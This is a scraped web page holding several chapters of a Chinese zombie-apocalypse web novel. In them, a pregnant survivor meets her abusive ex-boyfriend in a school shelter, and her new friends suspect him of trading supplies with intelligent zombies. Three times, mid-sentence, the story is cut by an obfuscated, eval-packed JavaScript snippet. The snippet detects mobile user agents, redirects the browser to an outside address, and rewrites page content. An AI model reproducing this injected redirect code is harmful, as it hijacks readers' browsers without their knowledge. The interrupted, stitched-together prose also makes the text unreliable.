“咳,”许赫的咳嗽声将李艾的意识拉回现实,“李艾女士,我们问您几个问题,希望你能对我坦诚。” “李艾女士,你和另外三个重伤的男士,认识吗?” “不认识。” 真话。 “但据你所说,你们是同路人,你们之间没有任何关系吗?” “没有。” 真话。 “那他们的伤,你知道是怎么造成的吗?” “不知道。我......我过去的时候,就看到他们遍体鳞伤的倒在那里。” 真话。 许赫与庄晴对视一眼。 显然,面前的孕妇一问三不知。 “非常感谢你的配合,李艾女士。她会带你去避难所的。”许赫朝站在庄晴身后的蔓蔓招手,蔓蔓连忙跑上前,作势要扶李艾站起来。 “不用了。”看到面前明显还是高中生模样的蔓蔓,李艾一直带着苦相的脸上终于露出了一丝笑意,语气也变得柔和几分,“我现在还没到孕晚期,不用太关照我。” 就这样,跟随着身旁朝气蓬勃的高中生,李艾慢吞吞地跟在蔓蔓身后,走向了普通人聚集的区域。 庄晴等人也跟随着她一起出了门,小白楼大门外不远处的林荫树下,站着一个分外陌生,又分外熟悉的人影。 两年不见,他看起来过得很好,连总是挂着凶狠表情的面庞上也只剩下了恬淡柔和的笑意,一看到庄晴出来,就像条家犬一样殷勤地凑上前去,给庄晴拎着包,还帮她围上围巾。 “那是老大的男朋友。”蔓蔓见她一直关注着那两个人,适时介绍道,“怎么说呢,虽然她男友长得一般,但对老大确实很体贴,我以后也要找一个把我当女王捧着的男友。” “不行。”她脱口而出。 “啊?”蔓蔓吃惊地看她。 李艾僵住了。 “......理想要远大,你要找一个不光体贴你,长得还帅的男友。”半晌,她硬着头皮岔开话题。 不知道庄晴说了什么,给男友指了指她所在的方向,李艾还没来得及收回目光,就对上了对方的视线。 看到李艾,他愣了一下,眼中的惊讶与狠厉全部被李艾收进眼底,她一时不知道该说什么,只能催促蔓蔓快走,快步离开了这里。 接下来的一切都十分顺利。 蔓蔓不但为她介绍了避难所,还给她分了额外的物资和零食,让她和肚子里的孩子不必挨饿。 她的宿舍也被定在一楼唯一一间不是上床下桌的房间,避难所的大家十分热情,对她这个陌生人非常关照。 只是...... 深夜,李艾辗转难眠,良久,长叹一口气。 这里什么都好,只是付恒也在。 避难所内的餐券按工作分配,饶是身为孕妇的李艾,也需要找工作养活自己,然而,当她从安检部门走出来,独自一人走在无人的小路上,却无意中看到,一个熟悉的人正站在不远处。 戴上眼镜时,付恒总是显得平平无奇,模样也十分温和,但李艾看惯的,却是付恒摘掉眼镜的模样。 厚厚的镜片柔化了他眼睛里的凶狠之色,以至于付恒摘下眼镜,露出他原本凶狠的表情时,李艾足足愣了几秒,才想起来要跑。 “跑!你还想跑到哪儿去!” 付恒没几步就追上了她,不顾她因为怀孕变得笨重的身体,狠狠将她推倒在地,扯着她的领子大骂。 “现在知道跑了!我当时不是跟你道过歉了吗?为什么现在还要回来缠着我?我好不容易过上了好日子,你为什么偏偏这个时候来捣乱?” 暴怒的吼声震得李艾的耳朵嗡嗡作响,恍惚间,她仿佛回到了几年前,还与付恒同居的日子。 那个时候也是如此,每次她有什么事情稍微做错了一点,就会引得他暴跳如雷,好一点的话只是扇几个巴掌,差一点的话,浑身的淤青要好几天才能消散。 李艾以为和庄晴在一起后他会变好,毕竟周围的人提起他,对他的评价都不错,可是眼前的付恒和过去一样无能,一样只会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16150133|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用暴力和声势压制她。 如果是几年前的李艾,一看到他如此恐怖的模样,一定会哭着哀求,或者愣在原地任由他打骂。 此时的李艾依旧提不起勇气反抗,但刚才的跌倒似乎也影响到了她肚子里的孩子,小腹一阵阵尖锐的阵痛。 “我......我根本不知道你在这里!” 尖细又嘶哑的声音自喉中响起。 “你以为我愿意见你吗?我也不想看到你了!我再也不想见到你了!我就是想找个避难所!” “咱俩的事我不会说出去的!我现在已经和别人在一起了,我也有自己的孩子了,我不想再计较以前的事了!你也别对我出手了!放过我,行吗?” 最后,她还是选择了哀求。 “李艾。”然而,付恒反而笑出了声,“你这个人我还不了解吗?咱俩在一起一年多。你这个人啊,看着唯唯诺诺的,胆子又小,实际上当面一套背后一套,说出口的话没有任何信用可言!谁知道你会不会把我的事告诉别人!噢,也有可能你昨天就说了!” 他完全没有就此为止的打算,反而继续逼近她。 “不!不是的!”李艾几乎要尖叫出声,“我是真的这么想!咱俩没关系了!付恒!我真的对你没想法了!我现在只想活着!” “你和庄晴在一起很好!我没有任何想法!你放过我吧!” 如同哭泣一般尖利又嘶哑的声音一直在反复哀求,付恒卷起袖子,这是他们过去没分手时,付恒每一次要打人前的征兆。 李艾双手紧抱住肚子,整个人蜷缩起来,不敢睁眼。 过了很久很久。 她睁开眼时,付恒的身影消失了,视野的尽头多了两个年轻的女孩子。 “我就说这人不靠谱,庄晴那家伙还说什么找对象要找老实人,我手机要是还有电的话真想把那个老实人的嘴脸录下来发到网上,全网讨伐他!” “其实我的手机还有电来着。” “什么?你的手机有电!那刚才怎么不掏出来?哦刚才咱们也没想到这么多,但丧尸都爆发这么久了,你手机怎么还有电?” “很久不用了。” 两个人一边说着话,一边朝着她走来。 高个子的女孩嘴里喋喋不休,反复骂着渣男,显然是看见了付恒刚才对她做的事。 而另一个个头稍微矮一点的女生则蹲下来,握住李艾的手,她的掌心十分温暖。 “你被吓到了吗?”她的声音也很柔和,“身体有哪里难受吗?你还好吗?” 李艾摇了摇头。 “这付恒怎么是这种人渣啊,孕妇姐姐,你别害怕,他女朋友庄晴人品特别好,我俩从小玩大的,我们去把这事告诉庄晴。”高个子的女生说着就要走,李艾急忙起身,拽住了女生的袖子。 “别告诉她!这......这件事就这么过去吧。我没事的......不必因为我这种小事去打扰她,真的......” “那个人渣都要对你使用暴力了诶!真不懂你怎么想的!”被她一拽,女孩子停下脚步,语气仍旧气冲冲的,“那你也是,平时躲着点那个渣男吧!他这次是听到我们的动静提前溜了,下次可怎么办啊?都怀孕了,不为自己考虑也要为孩子负责啊!” 李艾连声道谢,想起身时,才惊觉自己的手还被另一个女生紧紧握住,一直没有放开。 “我们好像忘记介绍自己了。” 对上李艾的视线,女生冲她亲切地微笑了一下。 “我是池遥,她是吴心语,我们都是避难所的天赋者。” 32. 常青中学8 等到李艾离开,吴心语才终于叹了一口气。 “这可怎么办啊,庄晴肯定不知道她男朋友是这样的人。” “先别想这个了。”池遥看向她,“咱们来这里不是要找帽子吗?” 今天早起跑步结束后,吴心语发现自己在跑步的时候随手把头上的鸭舌帽摘掉,不知道放哪儿去了,央求池遥陪她原路走一圈,把帽子找回来。 她们早起跑步选的都是幸存者们很少经过的地方,平时很少有人经过,然而这一次,却听到了付恒和李艾的对话。 “帽子哪儿有庄晴重要!”吴心语急得跳脚,“庄晴上午一般在外面和文茵一起是不是?她们几点回来?咱们现在就去大门口等着行不行?我受不了了,我一想到她男友是这种人,还骗了庄晴这么久就来气!” “别!”池遥再次拉住吴心语,“冷静一下呀,你现在太激动了,咱们冷静冷静!” “我哪里冷静得下来!”吴心语忍不住抱怨了一句,但还是听从了池遥的建议,“你说得对,我得冷静一下,打个腹稿,到时候先把事情和庄晴说完再骂人。” “但,我们也没有依据,你确定要和庄晴讲吗?” “池遥,你什么意思?” “心语,你冷静一点,听我说。”池遥拉着吴心语的手,在脑海中组织语言,“庄晴和付恒他们在一起多久了?” “快两年了吧?” “那心语,你和庄晴是什么关系?” “我们是初中同学呀,初中的时候关系就很好,现在也不差。” “在来到避难所之前,你和庄晴上次见面是什么时候?” 这下,吴心语足足思考了几十秒,才开口,语气也不像刚才那么坚定了。 “上次见面,好像是高考之后吧。没想到都是两年前的事了。” “上一次发消息呢?” “去年暑假吧?我问她放假回不回国,她不回国。然后我们就聊了一下各自的事,她告诉我她有男友了。之后就再也没发过消息。” “那,如果我们现在直接去找庄晴说这件事,没有任何证据,你能保证她百分之百相信我们吗?” 吴心语不说话了。 尽管最近在避难所的日子里,她和庄晴逐渐找回了童年时的默契,但现在,她并不能保证庄晴会把自己排在男友的前面。 一阵令人尴尬的沉默中,吴心语再次叹出一口气,问道。 “那你觉得怎么办?” “要不然,”池遥沉默了一会儿,看向吴心语,“咱们每天早上都有谁一起跑步啊?人多不多?要不然带庄晴一个?” 这是一个很突兀的建议,但吴心语很快就理解了池遥的用意。 “好建议。”吴心语点点头,“下午咱们去跟她说,那我们现在做什么?” “你彻底忘了你的帽子了是吧?” 两人磨磨蹭蹭,接近中午才找到了吴心语的帽子,整个上午的时间全部浪费在找东西上,吴心语也缺席了今日的工作,拿不到餐券,池遥分了一袋零食给她,两人唉声叹气地往食堂走。 走到食堂门前,吴心语却忽然急促地拽了两下池遥的袖子,顺着她的目光,池遥这才看到在食堂大门前不远处,站着一个干瘦的身影。 是李艾。 她看起来长期营养不良,身材很消瘦,从背后看根本看不出来是个孕妇。 “孕妇姐姐,你在避难所里找到工作了吗?”吴心语先一步走到她身旁,问道。 “有点困难......”李艾的笑容显得有几分惨淡,“后勤部门说已经不招人了,其他几个部门,好像也不打算收我。” “那你今天吃饭怎么办呀?”吴心语自己的饭还没着落,先替李艾叹了一口气,“你也......唉,这个香肠你拿去吧。” 吴心语递给李艾的是她自己囤的物资,原本准备搭配着池遥给的零食来着,还没进食堂,就被她亲手送了出去。 “要我说那个渣男就是故意的,他在搞事情。咱们昨天来食堂的时候,后勤部招人的告示还挂在那儿呢,哪儿有可能今天人就满了。” 待池遥取了今天的餐食,二人找了个偏僻的角落坐下,吴心语开始朝池遥抱怨。 “我刚才去排队的时候特意看了一眼,告示板上的招聘告示里,确实没有后勤部门的了,明明昨天还贴在最上面的。” 池遥和吴心语想到了同一个问题。 “你说李艾知道这是付恒做的吗?他是庄晴男朋友,校长的准女婿,在普通人里也很有威望,他如果吩咐什么,那几个部门都会听的。咱们该怎么提醒她一下啊?” 吴心语的零食几口就吃完了,低头啃花卷的池遥不方便回应她,她就自己喋喋不休分析个不停。 “唉,就李艾那个性格,估计也没招,她差点被付恒打了都装没事人呢,我算是服了。” 池遥很赞同她的想法,边吃边点头,几口把剩下的事物吃完,终于可以开口说话了。 “对,我也很......很奇怪这件事。但我估计付恒也不觉得她会把今天上午的事说出去,要不然付恒肯定会找她第二次,第三次的。” “说不定已经找了呢?咱运气不好没撞见呗,一会儿你下午还要去医疗角呢,我也得去郑承那里求情,解释上午没外出的原因,咱俩各有各的事忙,哪有时间关心他们那点儿事。” 一想到要因为找帽子翘班向郑承道歉,吴心语整个人像霜打的茄子一样蔫蔫巴巴,无力的趴在餐桌上。 “怎么办呀,我一点也不想去见郑承,周文博那混蛋每次都跟他一起,这次他肯定得笑话我!” “你们俩到底有没有在偷偷谈恋爱?急死我了!” “池遥!” 下午,在医疗角结束工作的池遥再度被林晟找到,而林晟这一次的话语简洁了不少。 “池遥,小白楼的三个人醒了,他们已经审问过一轮了,找你去给他们治疗一下。” 池遥点点头,跟随他再次来到小白楼,这一次林晟的步伐慢了很多,看来并不是太紧急的事。 “池遥!” 小白楼的门开着,庄晴正站在走廊中和许赫说着什么,远远地就看到了和林晟一起过来的池遥。 “你们已经问完了吗?” 饶是知道结果,池遥还是问了一句。 “已经有初步结果了。”庄晴拍拍池遥的肩膀,“你先去治疗吧,有一个人在提问过程中伤口撕裂了,你只需要治疗那一处就行,我们一会儿还要召集大部分天赋者开会,你治疗完直接回小楼吧,还是昨天的会议室。” 池遥点点头,走进房间里。 昨天还陷入昏迷的两个人一个被绑在椅子上,不停地挣扎,挣扎过程中浑身上下的衣料缓慢渗出了鲜血的颜色,模样凄惨恐怖。 而另一个人则靠在墙角,垂着眼睛,一言不发。 至于昨天支支吾吾说不出话的那个人,被安排在了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168947|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一个房间。 “我的天。”看到绑在椅子上的人,池遥没忍住,小声惊叹了一声。 看到池遥的身影,那人挣扎得更来劲了,池遥将手放在他的身上,缓缓输送了些许能力,才让他冷静了下来。 有一处绳子正好剐蹭到他的伤口,池遥伸手想解开绳子,避开伤口重新系上,却听到了一个沉闷而嘶哑的声音。 “别解开绳子,他已经疯了。” 声音来自坐在角落的人。 池遥的动作瞬间停住,她再次仔细打量起这个被绑起来的人,受到她的能力治疗后,这人只安分了几秒,又不受控制地挣扎起来,盯着池遥的目光极度恐慌。 确实不像是个正常人。 池遥在心里叹了口气,治好了他身上所有撕裂的伤口,包括被绳子剐蹭的伤口后,就走到了另一个人面前。 即便池遥已经走到了对方面前,这个人也没有任何反应,若不是他之前开口提醒,池遥简直以为他睡着了。 “你身上的伤恢复得怎么样了?有伤口恶化或撕裂吗?” 她只得主动开口问。 “没有。” “噢。”池遥一时也不知道该说些什么,庄晴等人既然已经问完问题,她也不打算把庄晴可能问过的问题再问一遍,只好干巴巴地回应了一声。 “你没有问题要问我?” 反而是对方开口了。 “没有。”池遥抬头看了对方一眼,他的脸上也伤得不轻,池遥看不清他的五官,“我只是来治疗的,如果你的伤口没有恶化,就说明未来会正常愈合,我就不给你治疗了。” 刚刚为挣扎的人治疗已经花费了她大半力气。 说完,池遥想起庄晴的话,转身朝门口走去,手刚搭在门把手上,身后却传来了男人的声音。 “那群怪物盯上这里了,尽早离开避难所吧。” 怪物?指的是行尸? 这并不让人意外。 这一次,池遥总算是按时赶上了会议。 并非所有天赋者都参加了这场会议,岳溪的能力无法在一瞬间生产出二十斤面粉,她白天时间要一直留在食堂里,除了她以外,还有一名在后厨工作的天赋者,为了陪着岳溪也缺席了会议。 “简单说一下吧,情况比我们想象的还要严重。” 庄晴深深地叹了口气,眉眼中的忧虑清晰可见。 “这三个人,是被行尸圈养在附近的人类。常青中学附近的人类很少,但行尸数量很多,因此,行尸不会立刻吃掉抓到的人类,而是会把他们圈养起来,少量多次食用。据唯一一个有理智的人所述,和他们一起被圈养的还有几十个人类,有想投奔常青中学,在到达常青中学大门前就被行尸抓走的人,也有之前外出搜查离奇失踪的人。” “这三个人中,有两个人因为精神崩溃,彻底失去了理智,行尸们觉得留他们会加重其他人类的恐慌,就把他们丢弃掉了。另一个人是趁行尸不备偷跑出来的,路过的李艾发现了他们。” “据说,行尸们早就有攻打我们的打算了,常青中学容纳了太多人类,他们垂涎这里很久了。而且这些行尸的数量比我们想象的还要多,似乎有十几只,他们有组织有规划,不能单纯把他们当成有能力的丧尸来看。” 随着庄晴的话语,会议室里的气氛越来越沉闷,常青中学的天赋者只有十人,作战能力强的也只有庄晴和文茵两人,无论怎么想都不可能打得过十几只行尸。 33. 常青中学9 “之前,我带领的小队一直尽可能往远走,搜集其他避难所的信息。”文茵接在庄晴之后开了口,神色严肃,“我整合了一下,现在说给大家。” 她站起身,将一份北城连同周边县市的地图在会议桌上摊开,拿起白板笔,在会议室的白板上简单画出了北城的轮廓。 北城市沿江建立,老城区建立在江水南侧,而近几十年间建立的新区和新的市中心在江水北侧,一个城市被划分为江南和江北两个区域。 “我们是和平区避难所,大概在北城的这个位置。”她一边说,一边在白板上圈画出和平区的轮廓,在江北区域的东侧“据我所知,整个和平区,只有我们一个避难所。” “这两个月来,我们总共得到了七个避难所的消息,但到了现在,能够确定仍然存在的避难所,只剩下两所。全部都在江边,一处江南,一处江北。” 白板上,江水两侧的堤岸边被各画了一个感叹号。 “咱们现在在江北区域,如果这里真的出了事,能够前往的区域,只有江北避难所。” “江北避难所在西边的开发区,新建成不久的卓越新区商圈里,据说他们占据了周边已经开业的好几家商场和已经竣工,还没开放入住的两套小区,容纳的人数是我们的几倍。或许是北城最安全的避难所了。” 文茵在白板上圈出了卓越新区的位置,又在纸质地图上标注出了常青中学和卓越新区的位置,用手指比划出从常青中学到江北避难所的路线。 “行尸虎视眈眈,我和文茵只能尽最大力量保护大家,但如果常青中学真的守不住了,大家至少要知道下一步去哪里。” 庄晴在一旁开口,神情严肃。 “尤其是岳溪,她是我们避难所最宝贵的天赋者,绝对不能让她出事。就算常青中学沦陷了,只要她能活着到达其他避难所,就能让更多人活下去。” 说到岳溪,庄晴叹了口气,目光在围坐一圈的天赋者们中定格在了郑承身上。 “郑承,只要不遇上行尸,你的能力可以在丧尸群里来去自如。从明天开始,你随时守在岳溪身边,一旦常青中学发生异变,你要第一时间带着岳溪离开,去江北避难所。无论如何都要保证岳溪的安全。” 郑承一愣,在他的心里,池遥和周文博这些北城大学的学生们才是最重要的人,然而,岳溪的能力实在过于宝贵,他与池遥对视一眼,做好觉悟,重重地点了点头。 “至于其他人,从明天起都要打起十二分精神。吴心语,你从明天开始就留在小楼,一旦行尸从校外包围,你就第一时间启动防护罩。” “做好最坏的打算,明天把车库里的车子开到宿舍和食堂附近吧。如果常青中学真的保不住了,一定要让普通人第一时间逃出去。还有蔓蔓,许哥,你们的能力无法攻击,到时候不要管我们,跟着普通人一起离开就好。” 听到这话,蔓蔓猛地站起身来,瞪大眼睛看着庄晴,似乎想说些什么,可是话还没开口,一旁的许赫拽了一把她的袖子,她这才反应过来,又悻悻地坐下。 “至于池遥......”庄晴交代了一圈,最终看向池遥,却沉默了,只有和池遥对视的目光传达出她的意愿。 感受到那道充斥着善意与包容的视线,池遥立刻明白了庄晴的意思。 她在用眼神告诉池遥,不必顾及其他人,她可以随时离开避难所去寻找失踪的友人。 然而,池遥注定不会如她所愿。 “如果真的到了要和行尸对战的地步,肯定少不了伤亡,我留下来治疗。” 越是危急时刻,越不能临阵脱逃,池遥主动开口,表明了自己的意愿。 听了她的话,庄晴抿了抿唇,池遥隐约觉得她似乎要说些什么,但她什么都没说,只是冲池遥点点头。 这一场会议时间不长,在会议结束后,庄晴还要把这边的事情报告给她父亲,再商讨基地里的普通人如何安置。 其他天赋者纷纷散去,庄晴要去教学楼的校长室找父亲,正好和要去食堂的池遥和郑承是同一个方向,她走路速度很快,池遥和郑承小跑了一段才追上了她。 “庄晴,问你一件事。”池遥没有忘记上午和吴心语的计划,“我,郑承,吴心语还有几个北城大学的学生明天早上五点约好在学校外侧围墙边的小路上一起晨跑,你要一起来吗?” “可以啊,出了这种事,我今晚估计也睡不踏实,你们明早在哪儿集合?” “宿舍楼下。” “行。”庄晴点点头,“明天带我一个!” 劝说庄晴的过程比想象中顺利很多,池遥忍不住问了一句。 “庄晴,你明早要是和我们一起跑步的话,你男友不会有意见吧?” “他能有什么意见,”闻言,庄晴莫名其妙地看了池遥一眼,“他最近不知道在忙什么事,我都找不到他的人影。你该不会以为,我要做什么还要和他报备一声吧?” 池遥只得在一旁赔笑,直到她和郑承已经来到了食堂附近,二人和庄晴分开,她才松了一口气。 “好端端的,怎么突然让庄晴和我们一起晨跑?”郑承一直在池遥身边,池遥邀请庄晴的时候他就百思不得其解,现在和庄晴分开后才找到机会询问。 “咱们晨跑的那条小路平时没什么人走,”池遥没有直接告诉郑承她和吴心语看到的事实,“有些心怀不轨的人可能会在那条路上做不好的事。” 郑承似懂非懂,但他一向信任池遥的决定,于是不再多问,走进食堂,径直上了四楼。 时间已经不早了,聚集在食堂里的普通人人数不多,池遥和郑承在三楼看到了聚在一起的几位同学,周文博也在其中。 “一会儿晚点儿去老地方集合吧。”郑承朝周文博挥了挥手,交代道,“顺便帮我告诉程煜和林晟一声,吴心语应该已经去找他们了。我和池遥去一趟后厨,一会儿就过去,有重要的事要说。” 所谓的老地方,是位于宿舍区附近的一个小凉亭,凉亭里有石质桌椅,入冬以后,幸存者们很少在室外停留,这个没人光顾的小凉亭就成了北城大学的学生们的秘密基地。 在会议结束后,池遥三人就决定将行尸的事情分享给其他朋友,于是三人兵分两路,吴心语去叫人集合,而池遥和郑承则受庄晴的委托,去食堂四楼将会议内容说给缺席会议的岳溪二人听。 食堂四楼,在后厨部门工作的幸存者早就到了下班时间,已经先行离开了。只剩下岳溪和负责保护岳溪的天赋者两人,岳溪刚结束今天的工作,换回了常服。 “小楼的会议结束了。我们过来告诉你们一声。”郑承和两人打了一声招呼,将行尸的事与文茵规划的撤退路线说给岳溪听。 从明天开始,他就要和岳溪朝夕相处了。 三人说话的时候,池遥则在空荡荡的后厨楼层闲逛。 岳溪的能力并不能在顷刻间造出二十斤面粉,她每天从早到晚都在生产面粉,生产出来的面粉用干净的袋子装好打包,用于第二天的午餐。 幸存者们将后厨打理得干干净净,岳溪所生产的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174619|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面粉被分成不同分量的小袋子,整整齐齐码在流理台上。 然而,池遥却注意到,角落里的橱柜门似乎没有关紧。 这只是一件微不足道的小事,然而,池遥却从橱柜的缝隙中,隐约瞥见橱柜里放着一个破破烂烂的编织袋,编织袋的线头甚至顺着橱柜的缝隙探出了一点。 另一边,郑承已经讲完了会议内容,正在告诉岳溪其他避难所的地址,并没有人注意到这边。 池遥伸出手,打开了橱柜。 柜门一开,橱柜当中的大编织袋失去倚靠,向前倒下,池遥上前一步扶住袋子,却看到了袋子里的东西。 是面粉。 与岳溪所制造出的面粉不同,这袋面粉颜色明显发黄,质地也不细腻,看起来更像是放了很久,临近过期的面粉。编织袋上印着面粉的品牌和产地,袋子里的面粉只剩下了三分之一,但当池遥将面粉袋子放回原处时,惊讶地发现橱柜里还有一个从未开封的编织袋,里面装的同样是面粉。 池遥对后厨的情况并不了解,但她还记得昨天会议时听到的,岳溪和庄晴等人的争吵。 岳溪明明说过,食堂里的面粉已经供应不上了。 可如果算上那袋未开封的面粉,后厨的物资加上岳溪的能力虽然算不上充裕,但绝对没到短缺的程度。 “池遥!” 不远处传来了郑承的喊声,他已经将能交代的事全部告诉了岳溪,正急着和池遥回去找吴心语他们,池遥循声从后厨里走出来,与面色从容的岳溪对上视线,举起了手里的一整袋面粉。 “岳老师,你不是说食堂后厨物资短缺吗?” 看到池遥手上的东西,岳溪一怔,神色有点难看。 “我......”她立刻开口,想说的话又哽在喉咙里,过了半天才深深地叹了口气。 “既然你都看到了,我就跟你们说实话吧。”她接过池遥手里的面粉袋子,吃力地抱回了后厨,重新放好,说话的语气有些踌躇,“其实我也没想隐瞒这件事的,但是他不让我说出去,我也只能这样。” “其实,我的面粉从你们还没来到避难所的时候,就有点不够用了。我本来还在想找什么时间和庄晴提起这件事,结果第二天晚上,不知道为什么,庄晴的男朋友带着半袋面粉过来了,不过那袋面粉的袋子表面很恐怖,袋子沾了好多血,面粉倒是没事。” “啊?”池遥和郑承完全没想到这里面还有付恒在掺和。 “他说他有和避难所外的人交换物资的特殊渠道,让我不要声张出去,说这是他独有的资源。之后隔三差五,他就会带点物资到后厨,也正是有他的东西,食堂才能维持每天的午餐供应。” “避难所外?”池遥不由地蹙眉。 “对,我最开始想问他,但后来觉得只要有物资就行,至于从哪儿来的物资,我也不追究了。”岳溪叹了一口气,“不过他最近来送物资的频率低了很多,我昨天在会议上抱怨的也是事实。那袋没开封的面粉袋子是他刚才在你们开会的时候送过来的。” “他每次来送的时候,后厨只有你一个人吗?”池遥问道。 “我知道他不想让别人知道这件事,每次看到他,我就找理由把其他人支开。” “这件事,除了我们,你还和其他人说过吗?庄晴知道吗?” “我没说过。庄晴应该知道这件事吧,虽然我没和庄晴说过,但她肯定知道男朋友在干什么啊。” 池遥和郑承对视了一眼。 这件事,庄晴未必知情。 34. 常青中学10 离开食堂,终于赶到凉亭时,池遥看到了等了十几分钟的朋友们。 “不就给岳溪转告会议内容吗,怎么去了那么久?”吴心语把池遥拉到她身边,凉亭里只有五个石凳子,她们两个各坐一半,“你俩没来的时候,我已经把行尸的事和江北避难所的事告诉他们了。” “池遥,我还需要你的地图熟悉路线,刚才他们已经把车库里的车子开到宿舍区附近了。”程煜伸手指了指停在凉亭不远处的一排车辆,其中最引人瞩目的就是北城大学的校车,“这样的话,一旦发生意外,我可以直接开校车送其他人去新避难所。” 池遥没有任何犹豫,立刻从吊坠中找出地图递了过去。 “如果真的发生意外,你们一定要第一时间逃走,不要管我们。”池遥叮嘱道,“郑承要掩护岳溪,吴心语要留下打开防护罩,我也要负责治疗,我们三个肯定不能和大家一起离开了。” “啊?” 闻言,围坐成一圈的其他几人都蹙起了眉,其中反应最激烈的当属林晟。 “池遥,你的能力只能救人,不能救己,你留下很危险!” “我知道。”池遥点点头,“但我毕竟也是天赋者,我杀过丧尸,也杀过行尸,我除了救人之外,也用能力保护自己,别为我担心。” 她的语气带着安慰的意思,十分温和,说出的话语却十分坚定。 林晟的目光在虚空中与她相遇,两人都执拗的不肯先移开视线,最终还是林晟先叹了口气,移开了目光,却没有开口说话,仿佛在赌气。 “池遥,你也要照顾好自己。”最终是程煜主动开了口,“咱们都是从大学一路过来的,你不和我们在一起,他......”他再次被林晟捅了一肘子,“我们,咳,我们都会很担心你们的,还有郑承和吴心语也是,尤其是郑承,一定要保证自己的安全,再保护别人。” 池遥三人齐齐点头。 时间已晚,几人很快结束讨论,各自朝不同的宿舍走去。 只剩下了池遥还站在原地,看着郑承,伸出手指指自己的脖子。 “你明天之后应该就要一直守在食堂了吧?”池遥摘下自己的吊坠,“之后不知道会发生什么变动,你要不要先把你放在这里的东西拿出来一些?” 郑承思考了一会儿,最终还是摇摇头,将池遥递出去的手推了回去。 “不用了,池遥,我有自己的能力保护,而且一直和岳溪在一起,不会缺少物资的,吊坠里的东西你自己留着就行。” 池遥一想他说的也在理,没有继续坚持,只伸手拍了拍郑承的肩膀。 “如果真的出事了,我们就在江北避难所再见吧。” 翌日。 晨跑时,池遥状似无意地开口问:“庄晴,咱们避难所外围还有其他人类聚集地吗?” “怎么可能有?”庄晴摇摇头,深深地叹了一口气,“前几天开会的时候不是说过吗,整个和平区,只剩下我们一个避难所了。” 池遥点点头,与身边的吴心语交换了一个眼神。 岳溪的事处处透着不对劲,如果她说的是真话,那么与付恒进行物资交易的恐怕是...... 恐怕不是人类。 在昨天庄晴将行尸的事情报告给校长后,这一天一早,食堂的公告板上就挂出了一幅手绘版北城地图,详细标注了从常青中学到卓越新区的路线。 池遥在公告板附近遇到了许赫,他站在围在公告板前的人群之外,神色复杂地盯着地图看。 “许哥。”池遥主动打了一声招呼,走到他身边,“没想到你在这里,你不用去小白楼那边吗?” “校长今早宣布避难所暂时不接纳外人了。”许赫也同样看到了池遥,和她一起走到角落,开口回答道,“安检部门的工作一撤,我和蔓蔓的工作就只剩下看守小白楼里的三,两个人了。” 说到最后,他的话语诡异地停顿了一下。 “两个人?” “我今天早上到小白楼的时候才发现,那三个人里唯一一个意识清醒的人,昨天夜里自杀了。” 许赫深深地叹了一口气。 “我和蔓蔓不在的时候,那边也有安检部门的普通人巡视,但为了防止刺激他们,他们只会在走廊里巡视,不会打开门查看房间里的状况。” “剩下的两个人还是疯疯癫癫,不知道经历了什么。” 看到许赫如此苦闷的神色,池遥也跟着叹了口气。 “如果我的能力可以更强一点就好了,要是能把他们的精神治好就好了。” “可别说这种话。”许赫摇摇头,“池遥,你的能力并不是你的义务,不要把别人的苦难担在你自己身上。” 池遥没想到对方竟然会说出这种话。 她愣了一下,想说不是,她哪里有那么伟大的觉悟,可下一秒,就感受到脑袋被人抚摸的温度,许赫仗着身高和年长,摸了摸她的脑袋。 “你要去哪儿,我正好没什么事,送你过去。” “我去小白楼看看吧,那个人的尸体安置在哪儿了?” 池遥想到昨天那个人对自己说过的话,心中一紧。 “还在小白楼,文茵说他身上可能还有线索,在小白楼检查尸体呢。她说自己检查的场面不好看,把我们全赶出来了。” 怪不得他会出现在这里。 “我和蔓蔓本来还想找老大过去,但没在小楼找到她,食堂也没有,不知道她会去哪儿,蔓蔓去教学楼找了,说老大可能在和校长在一起。” “那我们先往小白楼的方向走吧。” 因为张贴了新的公告,还没到午餐时间,食堂附近已经聚集了不少人,从食堂到小白楼的大路上,有不少幸存者正在讨论新避难所的事。 “我们换一条路走吧。”见路上人太多,池遥领着许赫走向食堂另一侧的小路,这条路是她晨跑时的必经之路,平时鲜少有人经过,“从这边走,稍微绕远路过去。” “我都来常青中学这么久了,还没走过这条路。”许赫感叹一声,两人并肩向前走去。 没走几步,就听见前方传来清脆的“啪”一声。 听起来似乎是有人在拍手。 声音不大,但作为强化过五感的天赋者,许赫敏锐的听到了声音,和同样听到声音的池遥对视一眼。 